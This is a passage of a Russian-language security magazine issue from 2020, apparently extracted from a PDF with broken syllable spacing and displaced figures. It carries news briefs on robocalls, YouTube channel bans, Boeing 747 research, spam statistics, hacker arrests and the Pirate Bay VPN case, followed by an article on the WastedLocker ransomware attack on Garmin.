звон ков, иссле дова тели не замети ли никако го уве личе ния количес тва подоб‐ 
ных звон ков в целом.

«СМИ и регули рующие орга ны пос тоян но рекомен дуют поль зовате лям
избе гать звон ков с неиз вес тных номеров, что бы умень шить количес- 
тво  звон ков  от  роботов.  Уди витель но,  но  мы  обна ружи ли,  что  ответ
на  такие  вызовы  не  обя затель но  уве личи вает  будущее  количес тво
робоз вонков.  Поль зовате лям  сто ит  быть  осто рож нее,  ког да  зво нят
с неиз вес тных номеров, одна ко, если вы вре мя от вре мени отве чаете
на  неп рошеный  вызов,  это  не  зна чит,  что  в  будущем  вы  ста нете
получать нам ного боль ше звон ков от роботов», — резюми руют авто ры
экспе римен та.

БАН ДЛЯ   YOUTUBE‐КАНАЛОВ2500
Спе циалис ты Google Threat Analysis Group отчи тались о работе, про делан ной во вто ром квар‐ 
тале  2020  года. Иссле дова тели  рас ска зали,  как  они  оста нав лива ют  ата ки  пра витель ствен ных
хакеров и кам пании по дезин форма ции.

Ис сле дова тели  пишут,  что  помеша ли  ряду  инос тран ных  опе раций  по  ока занию  вли яния,
за которы ми сто яли  ,  ,   и  . В резуль тате было заб локиро вано более

 каналов на YouTube, нес коль ко акка унтов AdSense, Play Developer и рек ламных учет ных
записей.

Ки тай Рос сия Иран Ту нис
2500

  заб локиро ван ных  каналов  яко бы  были  свя заны  с  кам пани ями  по  рас простра нению
дезин форма ции,  за  которы ми  сто ял  Китай,  еще    каналов  на  YouTube  яко бы  коор диниро‐ 
вались из Рос сии, и   каналов яко бы исполь зовались Ира ном.

2596
86

19

Так же в пери од с апре ля по июнь 2020 года Google уда лось прек ратить   ско орди ниро ван ных
инос тран ных опе раций, часть из которых так же зат рагива ла Facebook и Twitter.
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BOEING НА ДИСКЕТАХ
Не дав но ави аком пания British Airways отка залась от исполь зования самоле‐ 
тов Boeing 747, и бла года ря это му у спе циалис тов из ком пании Pen Test Part‐
ners появи лась ред кая для ИБ‐экспер тов воз можность иссле довать уже спи‐ 
сан ный лай нер, пока тот не был ути лизи рован.

На кон ферен ции DEF CON 28, в этом году про шед шей в онлайн‐фор мате,
сот рудник  Pen  Test  Partners  Алекс  Ломас  (Alex  Lomas)  рас ска зал  об  иссле‐ 
дова нии  Boeing  747‐400,  отсе ка  элек трон ного  обо рудо вания  и  кабины  эки‐ 
пажа лай нера, а  так же про вел для зри телей вир туаль ную экскур сию по лай‐ 
неру.

«Зна ете,  самоле ты  —  это  очень  дорогие  шту кови ны,  —  говорит
Ломас. —  При  всем  вашем  желании  ави аком пании  и  про изво дите ли
не  поз волят  вам  прос то  так  пен тестить  самолет,  потому  что  они
не зна ют, в каком сос тоянии вы оста вите его в ито ге».

Од ной  из  наибо лее  инте рес ных  находок  иссле дова телей  стал  дис ковод
для 3,5‐дюй мовых дис кет, который исполь зует ся для заг рузки навига цион ной
базы  дан ных  (мож но  уви деть  на  иллюс тра ции  ниже).  Ломас  пояс нил,  что
по пра вилам эта БД дол жна обновлять ся каж дые 28 дней, и посочувс тво вал
инже нерам, которым регуляр но при ходит ся иметь дело с такой малоп рият ной
рутиной.

Продолжение статьи →
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Кро ме  того,  во  вре мя  док лада  Ломас  получил  воп рос,  которым,  навер ное,
хоть  раз  задавал ся  каж дый  ИБ‐спе циалист:  мож но  ли  взло мать  воз душное
суд но  с  пас сажир ско го  мес та,  исполь зовав  в  качес тве  век тора  про ник‐ 
новения сис тему раз вле чений, пред лага емых на бор ту (in‐flight entertainment).
Эксперт  отве тил,  что  ана лити кам  Pen  Test  Partners  не  уда лось  обна ружить
никакой  двус торон ней  свя зи  меж ду  дос тупны ми  пас сажирам  сис темами
(такими как упо мяну тая IFE) и управля ющим доменом. Более того, меж ду эти‐ 
ми  сис темами  сущес тву ет  спе циаль ная  DMZ‐зона,  обой ти  которую  вряд  ли
пред став ляет ся воз можным.

СПАМ И ФИШИНГ
«Лабора тория  Кас пер ско го»  под готови ла  отчет  о  спа ме  и  фишин ге  во  вто ром  квар‐ 
тале 2020 года. Одной из осо бен ностей квар тала ста ли тар гетиро ван ные ата ки: хакеры час то
при бега ли к целевым ата кам, при чем мишенью ста нови лись пре иму щес твен но не очень боль‐ 
шие ком пании. При этом ред кая спам‐рас сылка обхо дилась без упо мина ния пан демии COVID‐
19, а фишеры адап тирова ли ста рые схе мы под акту аль ную повес тку и при дума ли новые.

На иболь шая  доля  спа ма  в  обще миро вом  тра фике  была  зафик сирова на  в  апре ле  —  .
Сред няя доля спа ма в мировом поч товом тра фике сос тавила  .

51,45%
50,18%

До ля спа ма в мировом поч товом тра фике

Пер вые пять мест сре ди стран, лидиру ющих по количес тву исхо дяще го спа ма, раз делили те же
учас тни ки, что и в пер вом квар тале 2020 года. Впе реди всех, как и ранее, Рос сия  ( ),
а на вто ром мес те Гер мания ( ), которая смес тила США ( ) со вто рой на третью
позицию.  Чет вертое  и  пятое  мес та,  как  и  в  прош лом  отчетном  пери оде,  занима ют Фран ция
( ) и Китай ( ).

18,52%
11,94% 10,65%

7,06% 7,02%

Стра ны — источни ки спа ма в мире

Ком пания обна ружи ла   вре донос ных поч товых вло жений, что на   боль ше
показа теля прош лого отчетно го пери ода.

43 028 445 6 500 000

Top‐10 вре донос ных вло жений в поч товом тра фике

Бы ла пре дот вра щена   попыт ка перехо да поль зовате лей на мошен ничес кие стра‐ 
ницы, что поч ти на   мень ше резуль тата пер вого квар тала.

106 337 531
13 000 000

До ля  уни каль ных  ата кован ных  поль зовате лей  сос тавила    от  обще го  количес тва  поль‐ 
зовате лей  про дук тов  «Лабора тории  Кас пер ско го»  в  мире,  а  в  базу  дан ных  ком пании  были
добав лены   фишин говых масок.

8,26%

1 694 705

АРЕСТ INSTAKILLA
В середи не августа 2020 года изда ние ZDNet, со ссыл кой на бол гар ских пра‐ 
воох раните лей,  сооб щило  о  задер жании  хакера  Instakilla  (нас тоящее  имя
не  раз гла шает ся).  Подоз рева емо го  обви няют  во  взло ме,  вымога тель стве
и про даже похищен ной у ком паний информа ции в интерне те. В ходе обыс ков
в  Плов диве  у  хакера  были  изъ яты  нес коль ко  компь юте ров,  смар тфо нов,
флеш‐накопи телей, а так же неназ ванное количес тво крип товалю ты.

На пом ню,  что  Instakilla  акти вен  при мер но  с  2017  года,  хотя  широкую
извес тность он получил лишь в прош лом году. Так, летом 2019 года имен но
Instakilla   информа цию, похищен ную у Наци ональ ного налого вого
управле ния  Бол гарии,  хотя  он  и  не  при нимал  непос редс твен ного  учас тия
в самом взло ме.

слил в сеть

Осенью того же года хакер ском про мети ровал офи циаль ные 
,  а  затем взял на себя ответс твен ность  за взлом ряда италь янских и  гол‐ 

ланд ских   (в этих стра нах прос титуция закон на).

фо румы Como‐
do

фо румов для секс‐работ ников
В  текущем  году  Instakilla  свя зыва ли  с  круп ным  взло мом  форумов  Stalker

Online,  отку да  он  похитил  более  1,2  мил лиона  поль зователь ских  записей,
которые  затем  выс тавил  на  про дажу  на  хакер ском  форуме.  На  этом  же
форуме у зло умыш ленни ка было что‐то вро де собс твен ного магази на, где он
про давал похищен ные у ком паний дан ные (вклю чая две неназ ванные бол гар‐ 
ские орга низа ции, мес тно го хос тинг‐про вай дера и сер вис элек трон ной поч‐ 
ты). При чем в ито ге Instakilla забани ли на этом форуме за мошен ничес тво.

Как нес ложно понять по перечис ленным инци ден там, в основном Instakilla
пред почитал взла мывать уяз вимые форумы vBulletin, отку да он похищал базы
дан ных.  Так же  у  прес тупни ка  был  собс твен ный  сайт,  где  он  пред лагал  свои
хакер ские услу ги всем жела ющим.

 ВЫМОГАТЕЛЯМ457 059 ДОЛЛАРОВ
Уни вер ситет Юты был вынуж ден вып латить хакерам огромную сум му, что бы не допус тить утеч‐ 
ки дан ных о сту ден тах. Часть сум мы пок рыл спе циаль ный полис киберс тра хова ния, оставшу юся
часть пре дос тавил уни вер ситет.

В   учеб ному заведе нию уда лось избе жать серь езной ата ки шиф роваль щика.
Неназ ванные хакеры смог ли зашиф ровать лишь   дан ных, хра нящих ся на сер верах уни‐ 
вер ситета.  И  хотя  в  ито ге  дан ные  были  бла гопо луч но  вос ста нов лены  из  резер вных  копий,
еще до начала шиф рования зло умыш ленни ки успе ли похитить информа цию о сту ден тах вуза,
а затем пот ребова ли у руководс тва учеб ного заведе ния выкуп, угро жая опуб ликовать укра ден‐ 
ное в откры том дос тупе.

июле 2020 года
0,02%

По дан ным СМИ, за этой ата кой сто яла хак‐груп па  , хотя офи циаль ных под твержде‐ 
ний это му пока нет.

NetWalker

THE PIRATE BAY
Тор рент‐тре кер The Pirate Bay (TPB) сущес тву ет уже шес тнад цать лет, а пра‐ 
вооб ладате ли  до  сих  пор  не  оставля ют  попыток  его  зак рыть.  В  нас тоящее
вре мя  отсле дить  тре кер  и  его  адми нис тра торов  стре мит ся  швед ская  анти‐ 
пират ская груп па Rights Alliance.

Как  пишет  изда ние  TorrentFreak,  в  июле  2020  года  пред ста вите ли  Rights
Alliance приш ли к выводу, что тре кер яко бы поль зовал ся услу гами швед ско го
VPN‐про вай дера OVPN, что бы скрыть свое истинное мес тонахож дение. Из‐за
это го бор цы с пиратс твом обра тились в суд и пот ребова ли, что бы OVPN пре‐ 
дос тавил любую информа цию, которая может быть полез на следс твию.

С  самого  начала  пред ста вите ли OVPN  нас таива ли  на  том,  что  VPN‐про‐ 
вай дер  не  ведет  никаких  логов,  то  есть  не  име ет  воз можнос ти  опре делить,
кто  имен но  исполь зует  сер вис  для  интернет‐сер финга  или  в  качес тве  ано‐ 
ним ной точ ки выхода, что бы скрыть истинное мес тополо жение, как это делал
TPB. При этом суд  уже был  готов встать на сто рону OVPN, сог лаша ясь,  что,
если про вай дер не ведет никаких логов, он не может пре дос тавить Rights Al‐
liance какую‐либо информа цию.

Од нако  теперь  Rights  Alliance  прив лекла  к  раз биратель ству  ИБ‐экспер та
Джес пера  Лар ссо на  (Jesper  Larsson)  из  ком пании  Cure53,  которая  занима‐ 
ется  тес тирова нием  на  про ник новение  и,  в  час тнос ти,  про води ла  аудит
у таких извес тных про вай деров VPN, как Mullvad, Surfshark и TunnelBear. Зак‐ 
лючение экспер та, теперь при ложен ное к судеб ным докумен там, гла сит:

«Хотя  [OVPN]  стре мит ся  хра нить  как  мож но  мень ше  дан ных,
для  работы  VPN-сер виса  все  же  необ ходимы  дан ные,  свя зыва ющие
поль зовате лей и их лич ности. В дан ном слу чае поль зователь опла тил
VPN-акка унт  с  воз можностью  под клю чения  пуб лично го  ста тичес кого
адре са  к OVPN,  который  он  затем  свя зал  с фай лооб менным  сай том
The  Pirate  Bay.  То  есть  поль зователь  нас тро ил  свой  VPN-акка унт
для ука зания на дан ный домен».

Ра нее сооб щалось, что The Pirate Bay исполь зовал OVPN не так, как делал бы
обыч ный поль зователь. Так, вмес то ано ними зации прос того домаш него под‐ 
клю чения  сайт  исполь зовал  аддон  Public  IPv4,  пре дос тавлен ный  про вай‐ 
дером. И хотя на этот инс тру мент рас простра няет ся точ но такая же полити ка
отсутс твия логов, кон крет ным кли ентом к сер вису был под клю чен ста тичес кий
IP‐адрес.

Лар ссон  пишет,  что  для  работы  такого  типа  кон фигура ции  дан ные  о  ней
дол жны  хра нить ся  в  OVPN,  по  край ней  мере  пока  учет ная  запись  активна.
По его мне нию, у про вай дера есть информа ция о том, куда дол жен ука зывать
ста тичес кий IP‐адрес, а так же информа ции об опла те, сооб щающая, как дол‐ 
го дан ная  учет ная запись была активна и  какой спо соб опла ты исполь зовал
поль зователь.

«Таким  обра зом,  OVPN  дол жна  иметь  воз можность  выпол нить  поиск
по  задан ному  IP-адре су  на  сво их  VPN-сер верах  или  же  поис кать
в  сво их  поль зователь ских  БД  и  их  резер вных  копи ях,  что бы  обна- 
ружить дан ного поль зовате ля или лич ность», — подыто жива ет эксперт.

В ответ на это пред ста вите ли VPN‐про вай дера заяви ли, что не могут пре дос‐ 
тавить какую‐либо информа цию о том, кем исполь зовал ся кон крет ный Public
IPv4‐адрес  на  кон крет ную дату,  пос коль ку  поль зовате ли могут  изме нять  его
по  сво ему  желанию  и  дру гой  поль зователь  мог  исполь зовать  адрес.  «Мы
можем  уви деть,  кому  выделен  ста тичес кий  IP‐адрес  пря мо  сей час,  но  не
можем  вер нуть ся  в  прош лое  и  про верить,  у  кого  он  был  в  опре делен ную
дату», — говорят в OVPN.

Так же  про вай дер  утвер жда ет,  что  поис кать  информа цию  в  бэкапах  тоже
не вый дет. Дело в том, что OVPN дей стви тель но дела ет резер вные копии сво‐ 
ей  БД  нес коль ко  раз  в  день,  что бы  пре дот вра тить  потерю  дан ных,  одна ко
все го  нес коль ко  дней  спус тя  они  окон чатель но  уда ляют ся.  И  те  бэкапы,
которые инте ресу ют Rights Alliance, были уда лены уже на момент подачи иска.

В OVPN под черки вают, что не тре буют от поль зовате лей пре дос тавле ния
адре са элек трон ной поч ты или физичес кого адре са, с радостью при нима ют
бит кой ны или налич ные и не могут сооб щить ничего ни об одном кон крет ном
поль зовате ле, даже если тот был свя зан с The Pirate Bay.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Слу шание дела о взло ме Twitter про ходи ло в Zoom и пре рыва лось пор нороли ками

Ата ка EtherOops экс плу ати рует проб лемы кабелей Ethernet

Ком пания Intel рас сле дует утеч ку 20 Гбайт исходных кодов и докумен тов

Ки тай ские экспер ты уда лен но взло мали Mercedes‐Benz E‐клас са

Mozilla уволь няет 250 сот рудни ков и пере ориен тиру ется на ком мерчес кие про дук ты

Ата ка ReVoLTE поз воля ет дешиф ровать и слу шать чужие телефон ные раз говоры

ФБР и АНБ обна ружи ли Linux‐мал варь Drovorub, яко бы соз данную рос сий ски ми спец служ бами

Ук раин ские влас ти задер жали опе рато ров 20 крип товалют ных обменни ков

Быв шего гла ву безопас ности Uber обви нили в сок рытии взло ма ком пании в 2016 году

В дар кне те неожи дан но зак рылся мар кет плейс Empire
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Не дав ний  ,  устро енный  школь ником  ради  бит‐ 
кой нов, — нас толь ко гром кое событие, что в его тени мог ла
потерять ся  не  менее  важ ная  .
А ведь там име ли мес то нес коль ко дней недос тупнос ти сер‐ 
висов,  пос ледс твия,  зат рагива ющие  ави ацию,  судоходс тво
и мно жес тво прос тых поль зовате лей, и даже потен циаль ная
угро за  челове чес ким  жиз ням.  Рас ска жем  попод робнее,
от  чего  твое  вни мание  отвлек ли  угнанные  акка унты  Мас ка,
Оба мы и Гей тса.

взлом  Twitter

ис тория  с  ком пани ей  Garmin

ПРОКЛАДЫВАЯ КУРС К УСПЕХУ
Ес ли ты домосед,  то есть некото рая веро ятность,  что о ком пании Garmin  ты
слы шишь впер вые. А меж ду тем это круп ная и весь ма успешная кор порация,
вхо дящая в индекс «пятисот клю чевых ком паний США»,  .S&P 500

Ком панию Garmin осно вали два челове ка, аме рика нец и тай ванец, вмес те
работав шие в вось мидеся тые инже нера ми‐элек трон щиками в аме рикан ской
ави апро мыш леннос ти.  В  те  годы  Гэри  Бар релл  (Gary  Burrell)  был  замес‐ 
тителем началь ника инже нер ного отде ла ком пании King Radio, выпус кавшей
в  том  чис ле  сис темы  ради она вига ции  для  самоле тов.  В  его  отдел  при шел
новый  сот рудник  —  док тор  Мин  Као  (Min  Kao),  который  до  это го  работал
в нес коль ких ком пани ях, сот рудни чав ших с арми ей США и НАСА, над новыми
тех нологи ями в этой отрасли — навига цией по сиг налам спут ников.

Кол легам было оче вид но, что у тех нологии боль шое будущее, в том чис ле
и  ком мерчес кое.  Но  руководс тво  счи тало  ина че —  оно  было  занято  реор‐ 
ганиза цией  биз неса  в  свя зи  с  чередой  пог лощений  более  круп ными  ком‐ 
пани ями.

Ус тав  занимать ся  уго вора ми,  Гэри  и  Мин  в  1989  году  взя ли  все  свои
накоп ления, под заняли у дру зей и зна комых, соб рали четыре мил лиона дол‐ 
ларов  —  и  откры ли  свою  собс твен ную  ком панию  с  десят ком  инже неров
в качес тве сот рудни ков.

Вре мя  было  самое  под ходящее.  Сис тема  GPS  толь ко‐толь ко  переш ла
во вто рую фазу и ста ла дос тупной для граж дан ско го исполь зования. Армей‐ 
ский  перенос ной  при емник  спут никовых  сиг налов,  встав ший  на  воору жение
все го год назад, весил с батаре ями десять килог раммов, и интерфейс у него
был абсо лют но не юзер‐френ дли.

Пи оне рами, впро чем, стать не уда лось — на раз работ ку сво его про дук та
ушел  год,  а  за  это  вре мя  на  рын ке  кое‐что  появи лось.  Но  ком мерчес кому
успе ху это не помеша ло — пер вая модель ком пании, уни вер саль ный навига‐ 
тор для кораб лей и самоле тов ProNav 100, ока залась нас толь ко популяр ной,
что  даже  втя нула  ком панию  в  неболь шой  копирай товый  скан дал.  Ком‐ 
пания‐кон курент  выпус кала  про дукт  под  мар кой  Navpro  и  гро зила  судом
за слиш ком похожие наз вания. Приш лось пере име новы вать ся.

Ра ритет ный обра зец пер вых выпус ков — еще до пере име нова ния

Имен но из‐за это го курь еза Garmin и получи ла свое имя — новое наз вание
сос тавили из имен осно вате лей. А даль ше — исто рия успе ха и неук лонно го
рас ширения биз неса. В вой не в Пер сид ском заливе 1991 года аме рикан ские
сол даты  понача лу  исполь зовали  куп ленные  за  свои  день ги GPS‐навига торы
Garmin — кон тракт с арми ей не зас тавил себя ждать.

GPS50 — пер вая пор татив ная модель от Garmin

Ком пания  сме ло  осва ива ла  новые  рын ки,  а  порой  даже  соз давала  их.
В 2003  году они начали выпус кать наруч ные девай сы для бегунов,  сох раня‐ 
ющие информа цию о про беж ках, — задол го до моды на умные часы и фит‐ 
нес‐брас леты. Да и вооб ще в ком пании быс тро сооб разили, что их  глав ный
товар — GPS‐навига цию — мож но про давать самым раз ным кли ентам, объ‐ 
еди нен ным лишь стрем лени ем к странс тви ям, и что раз ным сег ментам это го
рын ка мож но пред лагать весь ма спе циали зиро ван ные товары.

И  теперь  Garmin  про дает  GPS‐навига торы  для  самых  раз ных  усло вий
исполь зования  —  сов мещен ные  со  спут никовым  телефо ном  и  маяч ком
для спа сате лей, встро енные в ошей ники для собак и в часы для под водно го
пла вания,  пред назна чен ные  для  голь фис тов  и  велоси педис тов,  домов
на колесах и мотоцик лов, решения для обыч ных поль зовате лей, для биз неса
и  для  воен ных...  Кро ме  навига торов,  ком пания  выпус кает  и  раз нооб разные
дат чики,  а  так же  спе циали зиро ван ные  компь юте ры  для  велоси педис тов,
наруч ные  бал листи чес кие  вычис лители  для  стрел ков,  мор ские  сонары
и радары и даже при цел для лука с лазер ным даль номером!

Но, раз вивая все эти новые нап равле ния, ком пания не забыва ла и о том,
с  чего  отцы‐осно вате ли  ког да‐то  начина ли.  Garmin  про изво дит  устрой ства
ави они ки  (ави ацион ной элек тро ники) — от  спе циали зиро ван ного план шета,
который работа ет из короб ки и прос то кре пит ся на штур вал, до мно гофун кци‐ 
ональ ных панелей управле ния, которые встра ивают ся в кабину, интегри руют‐ 
ся с радара ми и авто пило тами — тоже про изводс тва Garmin.

Биз нес‐джет Cessna Citation с панелью управле ния Garmin G5000

Са мая  пос ледняя  модель  даже  обла дает  фун кци ей  экс трен ной  пол ностью
авто мати чес кой  посад ки  —  дос таточ но  прос то  нажать  крас ную  кноп ку,
и авто пилот сам най дет мес то для посад ки и про изве дет ее. Весь ма полез‐ 
ная  фун кция  —  богато му  пен сионе ру,  вла дель цу  малень кого  самоле тика,
впол не может стать пло хо в полете, такое уже неод нократ но слу чалось.

Впро чем, про дук ты Garmin сто ят не толь ко на малень ких час тных самоле‐ 
тах,  но  и  на  более  серь езных  реак тивных  машинах  биз нес‐ави ации.  Ины ми
сло вами,  ком пания,  в  вось мидеся тые  начав шая  свой  путь  прак тичес ки
в гараже, сегод ня — как и положе но в архе типи чес кой исто рии — ста ла все‐ 
мир но извес тной, а ее соз датели заняли мес та в спис ке мил лиар деров жур‐ 
нала Forbes.

КУДА ТЫ ЗАВЕЛ НАС, СУСАНИН-ГЕРОЙ?
Под робно рас ска зать об исто рии успе ха ком пании было нуж но, что бы пояс‐ 
нить, нас коль ко хорошо там уме ют зараба тывать день ги. Дизай неры и инже‐ 
неры  Garmin  дела ют  качес твен ные  устрой ства,  для  того  что бы  покупа тели
были  готовы  переп латить  за  бренд  с  хорошей  репута цией.  Ком пания  пред‐ 
лага ет  товары  с  уче том  спе циали зиро ван ных  пот ребнос тей,  что бы  вхо дить
на  нишевые  рын ки.  Руководс тво  не  забыва ет,  что  воен ные  хорошо  пла тят,
а инвести ции в инно вации оку пают ся.

И наконец, в Garmin хорошо зна ют, что недос таточ но прос то про дать один
товар —  нуж но  соз дать  инфраструк туру,  что бы  кли енты  радос тно  покупа ли
сопутс тву ющие  товары,  допол нитель ные  аксессу ары  и  под писыва лись
на плат ные сер висы, которые сде лают их жизнь удоб нее.

Нап ример,  сер вис  flyGarmin  для  обновле ния  ави ацион ных  баз  дан ных
и при ложе ние Garmin Pilot — мно гофун кци ональ ный инс тру мент для пла ниро‐ 
вания полетов. Прок ладка мар шру тов, прог ноз погоды в реаль ном вре мени,
отоб ражение  спе циаль ных  пре дуп редитель ных  сиг налов  для  ави ации  —
а  так же  ведение  отчетнос ти,  вычис ление  рас хода  топ лива  и  син хро низа ция
все го это го на раз ных устрой ствах.

Все го лишь некото рые фун кции при ложе ния Garmin Pilot

Ко роче,  это  при ложе ние  прев раща ет  телефон  или  план шет  в  пол ноцен ный
 и очень силь но облегча ет штур ман скую работу,

необ ходимую, если полет хоть сколь ко‐нибудь слож нее раз вле чений в аэрок‐ 
лубе по выход ным.

элек трон ный план шет лет чика

INFO

В  стра нах  Запада  купить  час тный  самолет,
получить на него пра ва пилота и летать на нем —
гораз до  про ще,  чем  в  Рос сии,  и  чис ло  таких
самоле тов,  соот ветс твен но,  гораз до  выше.
Это  ведет  к  тому,  что  при ходит ся  как‐то  сов‐ 
мещать  ави ацион ные  реалии,  рас счи тан ные
на про фес сиональ ных пилотов с дли тель ной под‐ 
готов кой,  с  тем,  что  ими  могут  поль зовать ся
и  пилоты‐любите ли.  На  прак тике  каж дый  лет чик
сам реша ет, нас коль ко ему нуж но заучи вать ави‐ 
ацион ный  жар гон  и  под ражать  про фес сиона‐ 
лам,  —  и  сов ремен ные  тех нологии  могут  силь но
облегчить  эту  задачу.  Но  и  обхо дить ся  без  них
в слу чае чего будет очень неп ривыч но.

Схо жие услу ги Garmin пред лага ет вла дель цам катеров и яхт, водите лям‐даль‐ 
нобой щикам  и  ком пани ям‐гру зопе ревоз чикам.  Мно жес тво  любите лей  фит‐ 
неса  исполь зует  их  сер вис  Garmin  Connect,  который  поз воля ет  сох ранять,
ана лизи ровать и син хро низи ровать меж ду нес коль кими устрой ства ми дан ные
о заняти ях спор том — мар шрут, дли тель ность, гра фик пуль са. Через него же
выпол няет ся интегра ция с популяр ным сер висом Strava — сво его рода соци‐ 
аль ной сетью для бегунов, велоси педис тов и дру гих спорт сме нов.

И  все  эти  нуж ные  мно гим  людям  фун кции  обра баты вают ся  на  сер верах
ком пании.

САМОЛЕТ ЗАХВАЧЕН, НИКУДА НЕ ЛЕТИМ
23 июля 2020 года сер веры ком пании под вер глись кибера таке вируса‐шиф‐ 
роваль щика  ,  пред положи тель но  соз данной  и  исполь зуемой
зна мени той хакер ской груп пиров кой Evil Corp.

WastedLocker

Из данию Bleeping Computer уда лось получить под твержде ние типа ата ки
и раз новид ности шиф роваль щика

Мас шта бы  ата ки  впе чат ляют:  ком пании  приш лось  отклю чить  свои  сер висы
на  нес коль ко  дней.  Не  работа ла  даже  служ ба  под дер жки  поль зовате лей —
элек трон ная  поч та  и  онлайн‐чаты  были  недос тупны  пол ностью,  телефон ные
кол‐цен тры работа ли с перебо ями.

От клю чались  в  том  чис ле  и  упо мяну тые  выше  flyGarmin  и  Garmin  Pilot.
И если без вто рого при вык шим к нему поль зовате лям летать прос то пре дель‐ 
но неудоб но, то без пер вого — еще и незакон но. По аме рикан ским законам
самоле ты  могут  летать,  толь ко  исполь зуя  све жую  навига цион ную  информа‐ 
цию. Она дол жна обновлять ся раз в 28 дней — и све жие базы дан ных выш‐ 
ли 16 июля.

Ес ли  бы  ата ка  про изош ла  чуть  рань ше,  гораз до  боль шее  чис ло  поль‐ 
зовате лей  нуж далось  бы  в  све жем  апдей те  баз  дан ных  —  и  не  мог ло  его
получить. К счастью, ничего непоп равимо го не про изош ло, и даже в худ шем
слу чае сущес тво вали запас ные вари анты обновле ния баз дан ных и пла ниро‐ 
вания  полетов.  Но  ник то  не  зна ет,  сколь ко  вылетов  было  отло жено  (сре ди
которых мог ли быть спа сате ли, поч таль оны и рей сы с пас сажира ми), сколь ко
тран спортных ком паний (гру зови ки которых исполь зуют похожие при ложе ния
для пла ниро вания мар шру тов) начало свой рабочий день с задер жек и нер‐ 
вотреп ки.

Та ким  обра зом,  ата ка  на  одну  ком панию  выз вала  проб лемы  у  кли ентов
по все му миру. А если учесть, что это были за кли енты (сто ит вспом нить, что
носимые  устрой ства  Garmin  весь ма  популяр ны  у  воен ных),  исто рия  зас‐ 
лужива ет  серь езно го  вни мания  пуб лики  и  экспер тов.  Мож но  было  бы
заподоз рить и пря мую угро зу наци ональ ной безопас ности США (есть пред‐ 
положе ния, что Evil Corp свя зана с рус ской раз ведкой) — ее мож но рас смот‐ 
реть  как  в  соз дании  проб лем  ави ации  и  гру зопе ревоз кам,  так  и  в  угро зе
любимым игрушкам мно гих сол дат и офи церов.
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Лю бовь воен ных к про дук ции фир мы Garmin лег‐ 
ко  понять — даже  в  армии США никог да  не  зна‐ 
ешь,  ког да  при годит ся  запас ной  инс тру мент.
В  2017  году  даже  был  ,  ког да  у  воен ного
самоле та про изош ла ава рия с раз герме тиза цией
кабины,  при бор ная  панель мгно вен но  обле дене‐ 
ла —  и  пилоты  смог ли  довес ти  самолет  до  базы
лишь  при  помощи  часов  Garmin  со  встро енным
GPS.

слу чай

Но гром ко начав шаяся исто рия закон чилась ско рее бес слав но. Как и в слу чае
со взло мом Twitter, ата кующим нуж ны день ги, а не хаос или хакер ская роман‐ 
тика.  Что  ж,  в  этом  слу чае  день ги  они  получи ли  —  сог ласно 
изда ния  Bleeping  Computer,  уже  24  или  25  июля  хакеры  переда ли  Garmin
прог рамму‐рас шифров щик.  Сум ма  выкупа  сос тавила  пред положи тель‐ 
но 10 мил лионов дол ларов, при чем из‐за того, что хакер ская груп пиров ка Evil
Corp  находит ся  под  сан кци ями  США,  перевес ти  им  день ги  было  не  так‐то
прос то — не вся кий пос редник готов за это взять ся. Увы, под робнос тей этой
исто рии пока ник то не рас крыл.

ин форма ции

День ги,  впро чем,  пла тили  не  зря —  рас шифров щик  дей стви тель но  сра‐ 
ботал.  Видимо,  в  Garmin  соч ли,  что  зап латить  и  рас шифро вать  все  зашиф‐ 
рован ное про ще,  чем вос ста нав ливать ся из бэкапов. Но сер висы  ком пании
про дол жали быть дос тупны ми с перебо ями боль ше десяти дней. Любопыт но,
что  на  сто имос ти  акций  ком пании  вся  эта  исто рия  пока  отра зилась  впол не
уме рен но — за вре мя ата ки акции ком пании упа ли на пять дол ларов, но сей‐ 
час тор гуют ся по ценам даже чуть боль шим, чем до ата ки. Как говорит ся, сде‐ 
лаем вид, что ничего не было.

НЕ ЗАБУДЕМ, НЕ ПРОСТИМ
И все‐таки эту исто рию сле дует взять на замет ку — как дела ем мы и 

.  При  всей  ее  типич ности  для  тех,  кто  сле дит  за  новос тями  кибер‐ 
безопас ности,  она  —  пред вес тник  мно жес тва  еще  более  гром ких  и  серь‐ 
езных проб лем, что ждут мир в будущем.

из дание
Wired

Не кото рые ком пании пре дос тавля ют слиш ком удоб ные про дук ты. Биз нес
идет черес чур хорошо. Доля на рын ке слиш ком высока. И все обра баты вает‐ 
ся в обла ке, потому что это мод но и выгод но. Если полагать ся на такие ком‐ 
пании,  они  неиз бежно  под ведут  сво их  кли ентов — потому  что  хакеры будут
про дол жать их ата ковать. Слиш ком прив лекатель ны такие цели — чем боль‐ 
ше  ком пания,  тем  боль ше мож но  с  нее  зап росить,  если  она  ока жет ся  дос‐ 
таточ но безала бер ной,  что бы  поз волить шиф роваль щику  про ник нуть  в  свои
сис темы.

А рас простра нение интерне та вещей будет уве личи вать веро ятность того,
что  нас тоящи ми  жер тва ми  хакеров  ока жет ся  не  ком пания,  несущая  финан‐ 
совые  потери,  —  а  ее  кли енты.  Пред ставь  себе,  что  ана логич ная  исто рия
про изой дет  с  какой‐нибудь сис темой элек трон ного докумен тообо рота либо
с  сер висом  обра бот ки  медицин ских  дан ных  или  сбо ра  ста тис тики  с  само‐ 
управля емых авто моби лей.

И  чем  более  важ ными  будут  сер висы  ком пании,  чем  боль ше  будет  ее
охват  рын ка  и  бюд жет —  тем  силь нее  ока жет ся  желание  зап латить  неболь‐ 
шую  в  мас шта бах  биз неса  сум му  и  пос корее  решить  проб лему.  Это  раз‐ 
задорит  хакеров  еще  боль ше  и  добавит  им  мотива ции  ата ковать  круп ные
цели.

В  иде аль ном  мире  чем  боль ше  ком пания  и  чем  важ нее  услу ги,  которые
она пре дос тавля ет, тем креп че дол жна быть ее кибер безопас ность. Это вер‐ 
но, даже если сами услу ги никак не свя заны с интерне том, — вспом ни исто‐ 
рию 2017 года, ког да шиф роваль щик   заражал устрой ства по все му
миру,  вклю чая  компь юте ры  и  МРТ‐ска неры  бри тан ской  сис темы  здра воох‐ 
ранения  NHS.  Одна ко  же  на  дво ре  2020  год —  и  угро за  шиф роваль щиков
ста ла толь ко силь нее. Поток   об оче ред ной подоб ной ата ке не исся‐ 
кает.

WannaCry

но вос тей

Мож но было бы ска зать, что такова цена, которую мы пла тим за прог ресс
в компь ютер ных тех нологи ях. Но на самом деле эту цену мы, кли енты круп ных
ком паний, пла тим за их непово рот ливость, раз гиль дяйство и нежела ние тра‐ 
тить день ги на безопас ность и пра виль ное хра нение бэкапов. Пла тим и про‐ 
